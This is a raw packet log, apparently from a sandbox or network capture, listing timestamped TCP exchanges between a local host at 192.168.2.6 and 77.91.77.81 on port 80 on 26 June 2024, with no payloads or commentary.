Jun 26, 2024 08:16:44.320621014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320627928 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320655107 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320663929 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320686102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320703030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320730925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320759058 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320786953 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320811987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320816040 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320852041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320879936 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320899963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.320909977 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.320962906 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321013927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321042061 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321048975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321077108 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321103096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321131945 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321158886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321187019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321193933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321213961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321229935 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321244955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321264982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321279049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321301937 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321312904 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321336985 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321346998 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321372986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321381092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321408987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321419001 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321444988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321479082 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321495056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321495056 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321515083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321535110 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321551085 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321566105 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321585894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321613073 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321621895 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321647882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321657896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321667910 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321693897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321697950 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321732044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321742058 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321768999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321778059 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321804047 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321808100 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321839094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321866989 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321875095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321897030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321913004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321919918 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321948051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321952105 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.321983099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.321993113 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322019100 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322026968 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322053909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322068930 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322088957 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322108030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322123051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322155952 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322159052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322170019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322192907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322216988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322228909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322263956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322287083 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322298050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322324991 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322335005 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322370052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322376013 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322412968 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322443962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322455883 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322484016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322498083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322503090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322539091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322545052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322592974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322623968 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322648048 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322650909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322695017 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.322698116 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.322742939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340392113 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340452909 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340454102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340502024 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340544939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340579987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340598106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340615988 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340631962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340652943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340682983 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340689898 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340713024 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340727091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.340747118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.340773106 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.366827011 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.366885900 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.366892099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.366928101 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.366949081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.366986036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.366993904 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367036104 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367041111 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367083073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367090940 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367129087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367136955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367187023 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367192030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367227077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367249012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367263079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367269039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367296934 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367306948 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367331028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367358923 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367366076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367393970 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367402077 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367429018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367436886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367465019 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367472887 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.367499113 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.367542028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405668974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405685902 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405720949 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405719995 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405738115 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405754089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405755997 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405771971 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405778885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405798912 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405814886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405817032 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405831099 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405838966 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405848980 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405873060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405890942 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405905962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405910015 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405925989 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405939102 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405941963 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405946970 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405958891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.405967951 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.405983925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406006098 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406183958 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406199932 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406225920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406241894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406254053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406254053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406256914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406274080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406284094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406301022 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406308889 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406316996 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406339884 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406339884 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406346083 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406356096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406371117 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406377077 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406393051 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406393051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406415939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406419992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406419992 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406433105 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406436920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406461954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406477928 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406503916 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406518936 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406536102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406552076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406565905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406637907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406653881 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406662941 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406689882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406692982 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406774044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406847000 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406866074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406892061 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406908035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406914949 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406924009 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406948090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406954050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406977892 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.406979084 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.406996012 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407000065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407012939 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407017946 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407031059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407037973 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407047033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407056093 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407069921 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407072067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407088041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407092094 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407104969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407115936 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407120943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407131910 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407136917 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407151937 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407161951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407167912 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407180071 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407182932 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407195091 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407202959 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407212973 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407217979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407243967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407255888 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407273054 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407279015 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407289028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407299995 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407305002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407325983 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407346964 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407352924 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407367945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407382965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407390118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407429934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407437086 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407452106 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407468081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407473087 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407485008 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407504082 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407506943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407511950 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407522917 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407536030 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407551050 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407582998 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407649994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407705069 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407785892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407844067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.407874107 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407937050 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.407960892 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408042908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408082962 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408137083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408138990 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408179045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408198118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408231020 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408232927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408269882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408298016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408304930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408322096 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408339977 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408354044 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408375978 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408391953 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408412933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408427000 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408446074 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408473969 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408479929 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408512115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408555984 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408591032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408592939 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408627987 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408628941 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408654928 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408663034 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408699989 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408715010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408734083 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408762932 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408806086 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408849955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408885956 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408895969 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408922911 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.408930063 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.408970118 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.428296089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428375959 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428405046 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.428426027 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:44.428464890 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:44.428529978 CEST	49731	80	192.168.2.6	77.91.77.81
